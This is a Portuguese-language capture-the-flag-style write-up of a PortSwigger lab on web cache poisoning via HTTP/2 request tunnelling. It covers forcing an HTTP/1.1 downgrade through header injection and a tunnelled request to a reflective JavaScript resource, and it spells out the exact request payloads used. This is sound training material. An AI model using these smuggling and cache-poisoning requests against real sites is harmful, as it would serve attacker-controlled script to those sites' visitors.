> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).
# Envenenamento de Cache Web via Tunelamento de Requisições HTTP/2
Notas sobre Envenenamento de Cache Web via Tunelamento de Requisições HTTP/2 para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.
### Envenenamento de cache da web via tunelamento de requisição HTTP/2
Este laboratório é vulnerável a smuggling de requisições porque o servidor frontal rebaixa as requisições HTTP/2 para HTTP/1.1 e não limpa corretamente alguns cabeçalhos de entrada. / O objetivo é envenenar o cache para que, quando a vítima visitar a página inicial, seu navegador execute `alert(1)`. / Um usuário vítima acessa a página automaticamente a cada 15 segundos.
O servidor frontal não reutiliza conexões com o back-end. Portanto, ataques clássicos de smuggling não funcionam, mas o tunelamento de requisições continua utilizável.
Há um mecanismo de cache na página inicial.
#### Forçar o rebaixamento para HTTP/1.1
Nos cabeçalhos, uma interpretação HTTP/1.1 pode ser imposta construindo o seguinte tipo:
{% code title="Valor" %}
```http
/post HTTP/1.1
Teste:
```
{% endcode %}
Embora isso gere um erro indicando que o `Teste` cabeçalho não existe, isso mostra que a requisição é reinterpretada pelo servidor frontal.
#### Injeção em um recurso estático
Ao direcionar o arquivo JavaScript do laboratório, observamos que adicionar um parâmetro semelhante a um script é refletido na resposta
```http
/resources/labheader/js?
```
O recurso, portanto, é vulnerável ao envenenamento de cache.
#### Construção da requisição tunelada
Em seguida, envie uma requisição adicional encapsulando uma nova consulta HTTP/1.1 no corpo:
```http
/ HTTP/1.1
Teste: teste
GET /resources/labheader/js?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```
Esta carga é reinterpretada pelo servidor após o tunelamento. / O conteúdo injetado é reescrito na resposta do recurso JavaScript, permitindo que você envenene o cache.
Quando a vítima revisitar a página inicial, seu navegador carregará esta versão envenenada e executará `alert(1)`.
---
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